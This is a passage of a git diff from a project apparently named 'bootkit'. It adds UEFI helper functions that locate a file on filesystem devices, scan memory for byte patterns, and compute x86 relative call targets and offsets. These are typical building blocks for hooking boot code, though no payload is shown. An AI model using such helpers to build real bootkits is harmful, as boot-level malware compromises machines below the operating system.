DevicePath ) +{ + EFI_FILE_IO_INTERFACE *ioDevice; + EFI_FILE_HANDLE handleRoots, bootFile; + EFI_HANDLE* handleArray; + UINTN nbHandles, i; + EFI_STATUS efistatus; + + *DevicePath = (EFI_DEVICE_PATH *)NULL; + efistatus = gBS->LocateHandleBuffer( ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &nbHandles, &handleArray ); + if (EFI_ERROR( efistatus )) + return efistatus; + + Print( L"\r\nNumber of UEFI Filesystem Devices: %d\r\n", nbHandles ); + + for (i = 0; i < nbHandles; i++) + { + efistatus = gBS->HandleProtocol( handleArray[i], &gEfiSimpleFileSystemProtocolGuid, &ioDevice ); + if (EFI_ERROR( efistatus )) + continue; + + efistatus = ioDevice->OpenVolume( ioDevice, &handleRoots ); + if (EFI_ERROR( efistatus )) + continue; + + efistatus = handleRoots->Open( handleRoots, &bootFile, ImagePath, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY ); + if (!EFI_ERROR( efistatus )) + { + handleRoots->Close( bootFile ); + *DevicePath = FileDevicePath( handleArray[i], ImagePath ); + break; + } + } + + return efistatus; +} + +EFI_STATUS UtilFindPattern( IN UINT8* Pattern, IN UINT8 Wildcard, IN UINT32 PatternLength, VOID* Base, UINT32 Size, OUT VOID ** Found ) +{ + if (Found == NULL || Pattern == NULL || Base == NULL) + return EFI_INVALID_PARAMETER; + + for (UINT64 i = 0; i < Size - PatternLength; i++) + { + BOOLEAN found = TRUE; + for (UINT64 j = 0; j < PatternLength; j++) + { + if (Pattern[j] != Wildcard && Pattern[j] != ((UINT8*)Base)[i + j]) + { + found = FALSE; + break; + } + } + + if (found != FALSE) + { + *Found = (UINT8*)Base + i; + return EFI_SUCCESS; + } + } + + return EFI_NOT_FOUND; +} + +VOID* UtilCallAddress( IN VOID* CallAddress ) +{ + UINT32 RelativeCallOffset = *(UINT32*)((UINT8*)CallAddress + 1); + return (VOID*)((UINT8*)CallAddress + RelativeCallOffset + 1 + sizeof( UINT32 )); +} + +UINT32 UtilCalcRelativeCallOffset( IN VOID* CallAddress, IN VOID* TargetAddress ) +{ + return (UINT32)(((UINT64)TargetAddress) - ((UINT64)CallAddress + 1 + sizeof( UINT32 ))); +} \ No newline at end of file diff --git a/UefiTest/utils.h b/UefiTest/utils.h new file mode 100644 index 0000000..75dd2f9 --- /dev/null +++ b/UefiTest/utils.h @@ -0,0 +1,37 @@ +#pragma once + +// Libraries +#include + +// Protocols +#include + +// +// Print info about loaded image +// +VOID UtilPrintLoadedImageInfo( IN EFI_LOADED_IMAGE *ImageInfo ); + +// +// Wait for key to be pressed before further execution +// +VOID UtilWaitForKey( VOID ); + +// +// Try to find file by browsing each device +// +EFI_STATUS UtilLocateFile( IN CHAR16* ImagePath, OUT EFI_DEVICE_PATH** DevicePath ); + +// +// Find byte pattern starting at specified address +// +EFI_STATUS UtilFindPattern( IN UINT8* Pattern, IN UINT8 Wildcard, IN UINT32 PatternLength, VOID* Base, UINT32 Size, OUT VOID** Found ); + +// +// Get's call address from call instruction (0xE8) +// +VOID* UtilCallAddress( IN VOID* CallAddress ); + +// +// Calculates a relative offset to the target from the call address +// +UINT32 UtilCalcRelativeCallOffset( IN VOID* CallAddress, IN VOID* TargetAddress ); \ No newline at end of file diff --git a/bootkit.sln b/bootkit.sln index 85ee5e7..dc78df6 100644 --- a/bootkit.sln +++ b/bootkit.sln @@ -7,6 +7,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UefiApplication", "UefiAppl EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UefiDriver", "UefiDriver\UefiDriver.vcxproj", "{DF325AB7-67A6-473E-93FF-16955AFBC063}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UefiTest", "UefiTest\UefiTest.vcxproj", "{6795FA18-9A3F-4766-B777-8813A816D769}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Release|x64 = Release|x64 @@ -16,10 +18,8 @@ Global {79D78FD5-8F41-442F-944E-81774DC9DF39}.Release|x64.Build.0 = Release|x64 {DF325AB7-67A6-473E-93FF-16955AFBC063}.Release|x64.ActiveCfg = Release|x64 {DF325AB7-67A6-473E-93FF-16955AFBC063}.Release|x64.Build.0 = Release|x64 - {DF325AB7-67A6-473E-93FF-16955AFBC064}.Release|x64.ActiveCfg = Release|x64 - {DF325AB7-67A6-473E-93FF-16955AFBC064}.Release|x64.Build.0 = Release|x64 - {A2130067-15EA-4909-95E5-48CA36213CC4}.Release|x64.ActiveCfg = Release|x64 - {A2130067-15EA-4909-95E5-48CA36213CC4}.Release|x64.Build.0 = Release|x64 + {6795FA18-9A3F-4766-B777-8813A816D769}.Release|x64.ActiveCfg = Release|x64 + {6795FA18-9A3F-4766-B777-8813A816D769}.Release|x64.Build.0 = Release|x64 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE